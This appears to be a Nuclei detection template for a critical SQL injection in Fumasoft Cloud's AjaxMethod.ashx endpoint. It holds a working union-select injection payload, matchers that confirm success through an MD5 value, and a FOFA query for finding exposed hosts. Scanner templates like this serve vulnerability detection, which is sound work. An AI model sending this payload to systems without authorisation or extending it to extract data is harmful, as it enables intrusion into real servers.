id: fumasoft-sqli

info:
  name: Fumasoft Cloud - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    There is a SQL injection vulnerability in the AjaxMethod.ashx file of Fumasoft Cloud. Attackers can obtain server permissions through the vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
  metadata:
    max-request: 1
    verified: true
    fofa-query: title="Fumeng Cloud"
  tags: fumasoft,sqli

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y'+union+select+substring(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','{{num}}')),3,32)--"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 500
# digest: 4a0a00473045022100b133e89be7e8b01b458198a484bb066496f0081a7f6367620c14e246d3c1d21002204f0c9f8511335bae1d06e6941176bebf0fac36cd30dda5bb15ada43e639c9967:922c64590222798bb761d5b6d8e72950